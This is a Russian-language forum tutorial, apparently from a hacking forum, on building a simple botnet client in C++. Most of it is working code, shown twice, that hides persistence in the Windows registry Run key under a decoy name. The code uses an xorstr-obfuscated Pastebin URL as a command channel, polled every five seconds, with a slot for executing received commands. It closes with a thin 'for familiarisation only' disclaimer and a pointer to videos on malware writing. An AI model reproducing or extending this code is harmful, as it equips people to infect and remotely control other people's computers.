Всем привет, этот гайд о том, как написать ОЧЕНЬ простой ботнет на C++. Данный гайд предназначен ТОЛЬКО для новичков. Опытным людям советую воздержаться от просмотра данной статьи, если вы не хотите сломать свою психику! ============================================================================================ Что нам понадобится? 1. Visual Studio (Я использую 2019) 2. Умение читать, и обрабатывать информацию. Начнем! 1. Создаём проект в Visual Studio. Для удобности, я создам Консольное приложение. 2. Скачиваем данные файлы и кидаем их в папку с проектом DL (ПКМ по проекту > Открыть папку в проводнике) 3. Добавим файлы в проект. (ПКМ по фильтру "Исходные файлы" > Добавить > Существующий элемент) 4. Подключим инклуды. Пишем код Spoiler #include "windows.h" #include "webclient.hpp" #include "xorstr.hpp" 5. Добавим программу через реестр в автозапуск. Пишем код. Spoiler void AutoRun() { char arr[MAX_PATH] = { }; GetModuleFileName(NULL, (LPSTR)arr, MAX_PATH); HKEY hKey; if (RegCreateKeyEx(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, NULL, 0, KEY_ALL_ACCESS, NULL, &hKey, NULL) == ERROR_SUCCESS) { if (RegSetValueEx(hKey, "istream", NULL, REG_SZ, (LPBYTE)arr, sizeof(arr)) == ERROR_SUCCESS) { RegCloseKey(hKey); } return; } } Code void AutoRun() { char arr[MAX_PATH] = { }; GetModuleFileName(NULL, (LPSTR)arr, MAX_PATH); HKEY hKey; if (RegCreateKeyEx(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, NULL, 0, KEY_ALL_ACCESS, NULL, &hKey, NULL) == ERROR_SUCCESS) { if (RegSetValueEx(hKey, "istream", NULL, REG_SZ, (LPBYTE)arr, sizeof(arr)) == ERROR_SUCCESS) { RegCloseKey(hKey); } return; } } 6. Сделаем метод получения информации с сайта. Spoiler string replaceAll(string subject, const string& search, const string& replace) { size_t pos = 0; while ((pos = subject.find(search, pos)) != string::npos) { subject.replace(pos, search.length(), replace); pos += replace.length(); } return subject; } string DownloadString(string URL) { HINTERNET interwebs = InternetOpenA("Mozilla/5.0 (Windows; U; Windows NT 6.0) AppleWebKit/534.16.1 (KHTML, like Gecko) Version/4.0 Safari/534.16.1", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, NULL); HINTERNET urlFile; string rtn; if (interwebs) { urlFile = InternetOpenUrlA(interwebs, URL.c_str(), NULL, NULL, NULL, NULL); if (urlFile) { char buffer[2000]; DWORD bytesRead; do { InternetReadFile(urlFile, buffer, 2000, &bytesRead); rtn.append(buffer, bytesRead); memset(buffer, 0, 2000); } while (bytesRead); InternetCloseHandle(interwebs); InternetCloseHandle(urlFile); string p = replaceAll(rtn, "|n", "\r\n"); return p; } } InternetCloseHandle(interwebs); string p = replaceAll(rtn, "|n", "\r\n"); return p; } Code string replaceAll(string subject, const string& search, const string& replace) { size_t pos = 0; while ((pos = subject.find(search, pos)) != string::npos) { subject.replace(pos, search.length(), replace); pos += replace.length(); } return subject; } string DownloadString(string URL) { HINTERNET interwebs = InternetOpenA("Mozilla/5.0 (Windows; U; Windows NT 6.0) AppleWebKit/534.16.1 (KHTML, like Gecko) Version/4.0 Safari/534.16.1", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, NULL); HINTERNET urlFile; string rtn; if (interwebs) { urlFile = InternetOpenUrlA(interwebs, URL.c_str(), NULL, NULL, NULL, NULL); if (urlFile) { char buffer[2000]; DWORD bytesRead; do { InternetReadFile(urlFile, buffer, 2000, &bytesRead); rtn.append(buffer, bytesRead); memset(buffer, 0, 2000); } while (bytesRead); InternetCloseHandle(interwebs); InternetCloseHandle(urlFile); string p = replaceAll(rtn, "|n", "\r\n"); return p; } } InternetCloseHandle(interwebs); string p = replaceAll(rtn, "|n", "\r\n"); return p; } 7. Создадим файл на Pastebin. В пасту пишем test, например, и создаем. 8. Добавим файл в автозагрузку, получим команду В Main пишем Spoiler int main()[/B][/SIZE][/LEFT] [SIZE=5][B][LEFT]{ AutoRun(); while (1) { string url = xorstr("ссылка на pastebin"); string command = DownloadString(url); cout << command << endl; if (command == "test") { // в этих скобках писать код std::cout << "WORK!" << endl; } Sleep(5000); } } Code int main()[/B][/SIZE][/LEFT] [SIZE=5][B][LEFT]{ AutoRun(); while (1) { string url = xorstr("ссылка на pastebin"); string command = DownloadString(url); cout << command << endl; if (command == "test") { // в этих скобках писать код std::cout << "WORK!" << endl; } Sleep(5000); } } На этом всё, если будут вопросы задавайте мне в лс, или пишите тут. Повторюсь, эта статья только для людей которые не разбираются в C++. Критика на тему того, что код не оптимизирован, не принимается. Этот код можно доработать, но не советую его использовать на полном серьёзе. Статья про нормальный ботнет будет позже, так как нужно время на её написание. P.S: Данная статья предназначена для ОЗНАКОМЛЕНИЯ, и для того что-бы вы понимали как работают вирусы изнутри, и смогли защищаться от них, ответственность за ваши действия лежит ТОЛЬКО на ВАС! Source
Есть замечательная серия роликов на канале CryptoFun, рекомендую к просмотру если хотите научиться злокодингу